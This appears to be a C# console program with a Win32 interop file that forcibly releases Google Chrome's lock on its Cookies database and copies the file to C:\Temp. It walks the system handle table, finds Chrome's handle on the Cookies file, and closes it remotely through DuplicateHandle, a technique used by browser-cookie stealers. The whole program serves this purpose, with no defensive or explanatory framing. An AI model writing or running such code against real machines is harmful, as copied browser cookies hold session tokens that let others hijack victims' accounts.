program.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using System.Threading.Tasks;
using static ConsoleApp1.Win32;
namespace ConsoleApp1
{
class Program
{
static string fullPath = @"C:\\Users\\admin\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies";
static string destinationPath = @"C:\\Temp\\Cookies";
static void Main(string[] args)
{
//Unlock(sourcePath);
ListProcesses();
try
{
CopyFile(fullPath, destinationPath);
Console.WriteLine("Successful");
}
catch (Exception ex)
{
Console.WriteLine($"error:{ex.Message}");
}
}
static void ListProcesses()
{
Process[] processCollection = Process.GetProcesses();
foreach (Process p in processCollection)
{
if (p.ProcessName == "chrome")
{
Console.WriteLine($"ProcessName={p.ProcessName} ProcessID={p.Id}");
var hCurrentProcess = Process.GetCurrentProcess().Handle;
uint targetProcessId = (uint)p.Id;
var hProcess = OpenProcess(OpenProcessDesiredAccess.ProcessDupHandle, false, targetProcessId);
if (hProcess == IntPtr.Zero)
{
throw new UnauthorizedAccessException();
}
var handles = SearchFileHandles(targetProcessId, hProcess, fullPath);
foreach (var handle in handles)
{
DuplicateHandle(hProcess, handle, hCurrentProcess, out var duplicatedHandle, 0, false, 1);
CloseHandle(duplicatedHandle);
}
}
}
}
static void CopyFile(string sourcePath, string destinationPath)
{
if (!File.Exists(sourcePath))
{
throw new FileNotFoundException("FileNotFound", sourcePath);
}
try
{
File.Copy(sourcePath, destinationPath, true);
}
catch (Exception ex)
{
throw new Exception($"{ex.Message}");
}
}
public static List<IntPtr> SearchFileHandles(uint targetPid, IntPtr hProcess, string fullPath, uint bufSize = 0x8000, uint maxRetry = 8)
{
var diskDosName = Marshal.AllocHGlobal(120);
//if (QueryDosDevice(fullPath[..2], diskDosName, 120) == 0)
if (QueryDosDevice(fullPath.Substring(0, 2), diskDosName, 120) == 0)
{
Marshal.FreeHGlobal(diskDosName);
throw new Win32Exception();
}
var dosPath = Marshal.PtrToStringUni(diskDosName) + fullPath.Substring(0, 2);
Marshal.FreeHGlobal(diskDosName);
var currentHandle = Process.GetCurrentProcess().Handle;
var pHandle = Marshal.AllocHGlobal((int)bufSize);
var length = 0U;
for (var i = 0; i < maxRetry; i++)
{
if (ZwQuerySystemInformation(SystemInformationClass.SystemExtendedHandleInformation, pHandle, bufSize, ref length) == 0)
{
var result = new List<IntPtr>();
var nInfos = Marshal.ReadInt64(pHandle);
pHandle += 0x10;
var objTypeInfo = Marshal.AllocHGlobal(128);
var objNameInfo = Marshal.AllocHGlobal(1024);
for (var j = 0; j < nInfos; j++)
{
//var ptr = pHandle + Marshal.SizeOf<SystemHandleTableEntryInfoEx>() * j;
SystemHandleTableEntryInfoEx dummyInstance = new SystemHandleTableEntryInfoEx();
var ptr = pHandle + Marshal.SizeOf(dummyInstance) * j;
var pid = (uint)Marshal.ReadInt32(ptr + sizeof(ulong));
if (pid == targetPid)
{
var sourceHandle = Marshal.ReadIntPtr(ptr + 2 * sizeof(ulong));
if (!DuplicateHandle(hProcess, sourceHandle, currentHandle, out var duplicatedHandle, 0, false, 2))
{
continue;
}
Task.Run(() => {
if (ZwQueryObject(duplicatedHandle, ObjectInformationClass.ObjectTypeInformation, objTypeInfo, 128, IntPtr.Zero) != 0)
{
return;
}
unsafe
{
if (*(short*)objTypeInfo == 0)
{
return;
}
var typePtr = *(byte**)(objTypeInfo + 8);
// File ASCII
if (*typePtr != 70 || *(typePtr + 2) != 105 || *(typePtr + 4) != 108 || *(typePtr + 6) != 101)
{
return;
}
}
if (ZwQueryObject(duplicatedHandle, ObjectInformationClass.ObjectNameInformation, objNameInfo, 1024, IntPtr.Zero) != 0)
{
return;
}
var strLength = Marshal.ReadInt16(objNameInfo);
if (strLength == 0)
{
return;
}
var str = Marshal.PtrToStringUni(objNameInfo + 16, strLength / 2);
if (str == dosPath)
{
result.Add(sourceHandle);
}
CloseHandle(duplicatedHandle);
}).Wait(10);
}
}
Marshal.FreeHGlobal(objTypeInfo);
Marshal.FreeHGlobal(objNameInfo);
Marshal.FreeHGlobal(pHandle - 0x10);
return result;
}
bufSize = length + 1024;
pHandle = Marshal.ReAllocHGlobal(pHandle, new IntPtr(bufSize));
}
throw new Win32Exception();
}
public static uint[]? GetFileOccupiedPidList(params string[] fullPaths)
{
uint[]? pidList = null;
var res = RmStartSession(out var handle, 0, Guid.NewGuid().ToString());
if (res != 0)
{
throw new Exception("Could not begin restart session. Unable to determine file locker.");
}
try
{
uint pnProcInfo = 0, rebootReasons = 0;
res = RmRegisterResources(handle, (uint)fullPaths.Length, fullPaths, 0, null, 0, null);
if (res != 0)
{
throw new Exception("Could not register resource.");
}
//Note: there's a race condition here -- the first call to RmGetList() returns
// the total number of process. However, when we call RmGetList() again to get
// the actual processes this number may have increased.
res = RmGetList(handle, out var pnProcInfoNeeded, ref pnProcInfo, null, ref rebootReasons);
if (res == 234)
{ // ErrorMoreData
// Create an array to store the process results
var processInfo = new RmProcessInfo[pnProcInfoNeeded];
pnProcInfo = pnProcInfoNeeded;
// Get the list
res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, processInfo, ref rebootReasons);
if (res == 0)
{
pidList = new uint[pnProcInfo];
// Enumerate all of the results and add them to the
// list to be returned
for (var i = 0; i < pnProcInfo; i++)
{
pidList[i] = processInfo[i].Process.dwProcessId;
}
}
else
{
throw new Exception("Could not list processes locking resource.");
}
}
else if (res != 0)
{
throw new Exception("Could not list processes locking resource. Failed to get size of result.");
}
}
finally
{
RmEndSession(handle);
}
return pidList;
}
public static void Unlock(string fullPath)
{
var pidList = GetFileOccupiedPidList(fullPath);
if (pidList == null)
{
return;
}
var hCurrentProcess = Process.GetCurrentProcess().Handle;
foreach (var pid in pidList)
{
var hProcess = OpenProcess(OpenProcessDesiredAccess.ProcessDupHandle, false, pid);
if (hProcess == IntPtr.Zero)
{
throw new UnauthorizedAccessException();
}
var handles = SearchFileHandles(pid, hProcess, fullPath);
foreach (var handle in handles)
{
DuplicateHandle(hProcess, handle, hCurrentProcess, out var duplicatedHandle, 0, false, 1);
CloseHandle(duplicatedHandle);
}
}
}
}
}
win32.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
public static class Win32
{
private const string Gdi32 = "gdi32.dll";
private const string User32 = "user32.dll";
private const string Kernel32 = "kernel32.dll";
private const string Ntdll = "ntdll.dll";
private const string Dwmapi = "dwmapi.dll";
private const string Rstrtmgr = "rstrtmgr.dll";
[DllImport(Rstrtmgr, CharSet = CharSet.Unicode)]
public static extern int RmRegisterResources(uint pSessionHandle, uint nFiles, string[] rgsFilenames, uint nApplications, [In] RmUniqueProcess[]? rgApplications, uint nServices, string[]? rgsServiceNames);
[DllImport(Rstrtmgr, CharSet = CharSet.Auto)]
public static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey);
[DllImport(Rstrtmgr)]
public static extern int RmEndSession(uint pSessionHandle);
[DllImport(Rstrtmgr)]
public static extern int RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In, Out] RmProcessInfo[]? rgAffectedApps, ref uint lpdwRebootReasons);
[DllImport(Ntdll)]
public static extern uint NtQueryInformationProcess(IntPtr ProcessHandle, uint ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationLength, out uint ReturnLength);
[DllImport(Kernel32)]
public static extern IntPtr OpenProcess(OpenProcessDesiredAccess dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
[DllImport(Kernel32)]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out uint lpNumberOfBytesRead);
/// <summary>
/// https://docs.microsoft.com/en-us/windows/win32/sysinfo/zwquerysysteminformation
/// </summary>
/// <param name="SystemInformationClass"></param>
/// <param name="SystemInformation"></param>
/// <param name="SystemInformationLength"></param>
/// <param name="ReturnLength"></param>
/// <returns></returns>
[DllImport(Ntdll)]
public static extern uint ZwQuerySystemInformation(SystemInformationClass SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength);
[DllImport(Ntdll)]
public static extern uint ZwQueryObject(IntPtr Handle, ObjectInformationClass ObjectInformationClass, IntPtr ObjectInformation, uint ObjectInformationLength, IntPtr ReturnLength);
[DllImport(Kernel32, SetLastError = true)]
public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions);
[DllImport(Kernel32, CharSet = CharSet.Unicode)]
public static extern uint QueryDosDevice(string deviceName, IntPtr targetPath, uint chMax);
[DllImport(Kernel32)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr handle);
[StructLayout(LayoutKind.Sequential)]
public struct RmUniqueProcess
{
public uint dwProcessId;
public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct RmProcessInfo
{
public RmUniqueProcess Process;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
public string strAppName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
public string strServiceShortName;
public RmAppType ApplicationType;
public uint AppStatus;
public uint TSSessionId;
[MarshalAs(UnmanagedType.Bool)]
public bool bRestartable;
}
[StructLayout(LayoutKind.Sequential)]
public struct SystemHandleTableEntryInfoEx
{
public ulong Object;
public ulong UniqueProcessId;
public ulong HandleValue;
public uint GrantedAccess;
public ushort CreatorBackTraceIndex;
public ushort ObjectTypeIndex;
public uint HandleAttributes;
public uint Reserved;
}
public enum RmAppType
{
RmUnknownApp = 0,
RmMainWindow = 1,
RmOtherWindow = 2,
RmService = 3,
RmExplorer = 4,
RmConsole = 5,
RmCritical = 1000
}
[Flags]
public enum OpenProcessDesiredAccess : uint
{
VmRead = 0x0010,
ProcessDupHandle = 0x0040,
QueryInformation = 0x0400,
QueryLimitedInformation = 0x1000
}
public enum ObjectInformationClass
{
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation
}
public enum SystemInformationClass
{
SystemExtendedHandleInformation = 64
}
}
}